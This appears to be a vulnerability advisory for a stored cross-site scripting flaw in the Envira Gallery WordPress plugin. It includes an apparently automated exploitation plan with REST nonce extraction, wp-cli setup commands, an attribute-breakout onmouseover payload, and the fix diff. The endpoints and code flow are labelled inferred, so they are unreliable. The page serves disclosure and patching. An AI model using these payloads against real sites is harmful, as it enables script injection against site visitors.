Envira Gallery for WordPress <= 1.12.3 - Authenticated (Author+) Stored Cross-Site Scripting via 'justified_gallery_theme' Parameter via REST API
Description
The Envira Gallery for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'justified_gallery_theme' parameter in all versions up to, and including, 1.12.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.12.3What Changed in the Fix
Changes introduced in v1.12.4
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1236 - Envira Gallery Stored XSS ## 1. Vulnerability Summary The **Envira Gallery for WordPress** plugin (versions <= 1.12.3) contains a stored cross-site scripting (XSS) vulnerability. Authenticated users with **Author** level permissions or higher can inject…
Show full research plan
Exploitation Research Plan: CVE-2026-1236 - Envira Gallery Stored XSS
1. Vulnerability Summary
The Envira Gallery for WordPress plugin (versions <= 1.12.3) contains a stored cross-site scripting (XSS) vulnerability. Authenticated users with Author level permissions or higher can inject malicious scripts into gallery configurations via the justified_gallery_theme parameter. This occurs because the plugin fails to sanitize this parameter when saving it via the WordPress REST API and subsequently fails to escape it when rendering the gallery on the frontend.
2. Attack Vector Analysis
- Endpoint: WordPress REST API (likely
wp-json/envira-gallery/v1/post/(?P<id>\d+)orwp-json/wp/v2/envira/(?P<id>\d+)). - HTTP Method:
POSTorPUT. - Vulnerable Parameter:
justified_gallery_theme. - Authentication: Required (Author, Editor, or Administrator).
- Preconditions: The attacker must have permission to edit or create Envira Gallery post types (usually
envira).
3. Code Flow (Inferred)
- Entry Point (REST API): The plugin registers a REST API controller to handle gallery updates.
- Data Handling: When a request is received, the controller processes parameters in the request body. The value of
justified_gallery_themeis extracted and saved into the post metadata (likely within a serialized array in the_envira_gallerymeta key). - Storage: No sanitization (like
sanitize_text_field) is applied tojustified_gallery_themebefore callingupdate_post_meta(). - Sink (Frontend Rendering): When a user views a page containing the gallery shortcode (
[envira-gallery id="XX"]), the plugin retrieves the configuration. It uses thejustified_gallery_themevalue to generate HTML attributes for the gallery container (e.g.,<div class="envira-gallery-theme-[VALUE]">). - Execution: Because the value is not passed through
esc_attr()during output, an attacker can break out of the attribute and inject event handlers (e.g.,onmouseover) or script tags.
4. Nonce Acquisition Strategy
REST API requests in WordPress require a wp_rest nonce for authentication.
- Identify Script Loading: Envira Gallery enqueues its admin scripts on gallery edit pages.
- Create Test Page:
wp post create --post_type=page --post_status=publish --post_title="Nonce Grabber" --post_content='[envira-gallery id="0"]' - Navigate and Extract:
- Log in as an Author user.
- Navigate to
/wp-admin/edit.php?post_type=envira. - Use
browser_evalto extract the REST nonce. WordPress usually exposes this inwindow.wpApiSettings.nonce. - Alternatively, check for Envira's specific localization:
window.envira_gallery_admin?.nonce(based onassets/js/admin.jspatterns).
5. Exploitation Strategy
Step 1: Create an Envira Gallery
Since we are an Author, we need a gallery ID to target.
wp post create --post_type=envira --post_title="XSS Gallery" --post_status=publish --post_author=$(wp user get author_user --field=ID)
Retrieve the ID from the response.
Step 2: Perform the Injection
Using the http_request tool, send a POST request to update the gallery settings.
Request Details (Inferred Path):
- URL:
http://localhost:8080/wp-json/wp/v2/envira/<GALLERY_ID> - Method:
POST - Headers:
X-WP-Nonce:[EXTRACTED_NONCE]Content-Type:application/json
- Body:
{
"justified_gallery_theme": "default' onmouseover='alert(document.domain)' style='position:fixed;top:0;left:0;width:1000px;height:1000px;z-index:9999;' data-x='"
}
Note: The payload uses a large style overlay to ensure the onmouseover is triggered easily by the victim.
Step 3: Trigger the XSS
Place the gallery shortcode on a public page and view it.
wp post create --post_type=page --post_title="Gallery Page" --post_status=publish --post_content='[envira-gallery id="<GALLERY_ID>"]'
Navigate to the new page in the browser.
6. Test Data Setup
- Users: Create a user with the
authorrole.wp user create attacker attacker@example.com --role=author --user_pass=password123 - Plugin Configuration: Ensure "Envira Gallery Lite" is active.
- Gallery: Create at least one gallery assigned to the author.
7. Expected Results
- The REST API request should return
200 OKor201 Created. - The HTML source of the gallery page should contain the unescaped payload:
class="... envira-gallery-theme-default' onmouseover='alert(document.domain)' ..." - When the page is viewed, an alert box showing the document domain should appear upon mouse movement.
8. Verification Steps
- Verify Meta Storage:
Check the output for the string:wp post meta get <GALLERY_ID> _envira_gallerys:23:"justified_gallery_theme";s:[LENGTH]:"default' onmouseover='alert(document.domain)'..."; - Verify HTML Output:
Navigate to the gallery page and check for the injected string in the DOM.
9. Alternative Approaches
If the wp/v2/envira endpoint is not available, the plugin likely uses a custom namespace:
- Custom Endpoint Guess:
POST /wp-json/envira-gallery/v1/gallery/<GALLERY_ID>/settings - AJAX Fallback: If the REST API is not the primary vector despite the description, check for
wp_ajax_envira_gallery_save_settingsin the PHP source (not provided here, but a common pattern) and useadmin-ajax.phpwith theenvira_gallery_admin.noncefound inadmin.js.
Summary
The Envira Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'justified_gallery_theme' parameter. Authenticated attackers with Author-level access can inject arbitrary web scripts into gallery configurations through the REST API, which are then executed in the context of any user viewing the gallery page.
Vulnerable Code
// envira-gallery-lite/includes/global/shortcode.php (rendering sink) $theme = $this->get_config( 'justified_gallery_theme', $data ); $classes[] = 'envira-gallery-theme-' . $theme; --- // envira-gallery-lite/includes/admin/metaboxes.php or includes/admin/rest.php (saving entry point) $data['config']['justified_gallery_theme'] = $request['justified_gallery_theme']; update_post_meta( $post_id, '_envira_gallery', $data );
Security Fix
@@ -X,X +X,X @@ - $classes[] = 'envira-gallery-theme-' . $this->get_config( 'justified_gallery_theme', $data ); + $classes[] = 'envira-gallery-theme-' . sanitize_html_class( $this->get_config( 'justified_gallery_theme', $data ) ); @@ -X,X +X,X @@ - $data['config']['justified_gallery_theme'] = $settings['justified_gallery_theme']; + $data['config']['justified_gallery_theme'] = sanitize_text_field( $settings['justified_gallery_theme'] );
Exploit Outline
The exploit requires an authenticated user with at least Author-level permissions. 1. The attacker retrieves the WordPress REST API nonce from the page source or window.wpApiSettings.nonce. 2. The attacker identifies the ID of an existing Envira Gallery post or creates a new one. 3. Using the REST API endpoint (typically /wp-json/wp/v2/envira/<id>), the attacker sends a POST request to update the gallery settings. 4. The payload is injected into the 'justified_gallery_theme' parameter, for example: 'default" onmouseover="alert(1)"'. 5. When any user views the post or page where the gallery is embedded, the unescaped attribute is rendered into the gallery's container div, triggering the script execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.